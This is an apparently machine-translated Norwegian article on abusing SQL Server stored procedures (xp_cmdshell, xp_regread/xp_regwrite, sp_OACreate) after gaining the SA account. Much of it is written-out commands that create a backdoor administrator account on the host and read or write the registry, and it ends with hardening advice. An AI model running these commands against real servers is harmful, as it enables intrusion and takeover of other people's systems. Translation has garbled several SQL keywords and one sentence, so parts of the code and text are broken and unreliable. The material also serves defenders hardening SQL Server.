Lagrede prosedyrer er en samling forhåndsskrevne SQL-setninger lagret i SQLServer, hvorav de farligste utvidede lagrede prosedyrene er xp_cmdshell, som kan utføre alle instruksjoner i operativsystemet, og SA er administratorkontoen til Microsoft SQLServer, med høyest rettigheter, den kan utføre utvidede lagrede prosedyrer og hente returverdier, som for eksempel kjøring:
Exec Master.. xp_cmdshell 'net user test 1234 /add' og executive master: xp_cmdshell 'net localgroup administrators test /add'
På denne måten legges en brukernavngitt test, passord 1234 og administratorrettigheter til den andre partens system, som vist i figur 1.
Nå bør du forstå hvorfor du får SA-passordet og få de høyeste privilegiene i systemet. Ofte kjenner mange nettverksadministratorer ikke til denne situasjonen, og har noen enkle passord som 1234 og 4321 for sine SA-brukere, eller de setter til og med ikke passord i det hele tatt, slik at nettverksinntrengere enkelt kan skanne SA-passordet med hackingverktøy og deretter kontrollere datamaskinen.
I tillegg til xp_cmdshell finnes det også lagrede prosedyrer som kan utnyttes av inntrengere:
1. xp_regread (denne utvidede lagrede prosedyren kan lese verdien som er spesifisert i nøkkelen spesifisert i registeret), hvordan bruke den (få maskinnavnet):
ERKLÆRING@testvarchar(50) EKSEKUTIV mester.. xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='system\controlset001\control\computername\computername', @value_name='computername', @value=@test OUTPUT SELECT @test
2. xp_regwrite (denne utvidede lagrede prosedyren kan skrive verdien spesifisert i nøkkelen som er spesifisert i registeret), og hvordan man bruker den (skriv bbb i nøkkelen HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue):
EKSEKUTIV mester.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='PROGRAMVARE\aaa', @value_name='aaaVerdi', @type='REG_SZ', @value='bbb'
Hvis administratorbrukeren på den kompromitterte datamaskinen kan bla gjennom HKEY_LOCAL_MACHINE\SAM\SAM\-informasjonen i registeret, kan de to lagrede prosedyrene xp_regread og xp_regwrite brukes til å klone administratorbrukeren og få administratorrettigheter. xp_regdeletekey. xp_regdeletevalue vil også medføre sikkerhetsrisikoer for systemet. 3. En serie OLE-relaterte lagringsprosedyrer, denne serien av lagringsprosedyrer har sp_OACreate, sp_OADestroy, sp_OAGetErrorInfo, sp_OAGetProperty, sp_OAMethod, sp_OASetProperty, sp_OAStop, bruk:
DEKLAR @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run', null, 'c:\WINNT\system32\cmd.exe /c net user test 1234 /add'--
På denne måten legger det andre systemet til en bruker kalt test og en bruker med passordet 1234, og deretter kjører:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run', null, 'c:\WINNT\system32\cmd.exe /c net localgroup administrators test /add '--
Brukertest, lagt til i Administrator-gruppen. Løsning: Gi SA et passord som er komplekst nok til å gjøre det vanskelig for cyberangripere å knekke det. For sikkerhet må vi også bruke lagrede prosedyrer i SQLS sp_addextendedproc sp_dropextendedproc ervers spørringsanalysator sp_dropextendedproc slette lagrede prosedyrer som xp_cmdshell, og deretter bruke sp_addextendedproc gjenoppretting når det trengs. Det bør bemerkes at sletting av lagrede prosedyrer relatert til OLE kan gjøre at noen funksjoner i Enterprise Manager blir ubrukelige, og forfatteren anbefaler ikke å slette dem her.
Nå som vi vet hvordan vi bruker SP_OACREATE, kan vi gå til \WINNT \system32 for å finne cmd.exe, net.exe og net1.exe tre filer, og slette alle brukere som kan få tilgang til dem i "Egenskaper" – "Sikkerhet", slik at vi ikke kan bruke SP_OACREATE for å øke antall systembrukere, og vi kan legge til tilgangsbrukere når vi trenger tilgang til disse filene.
|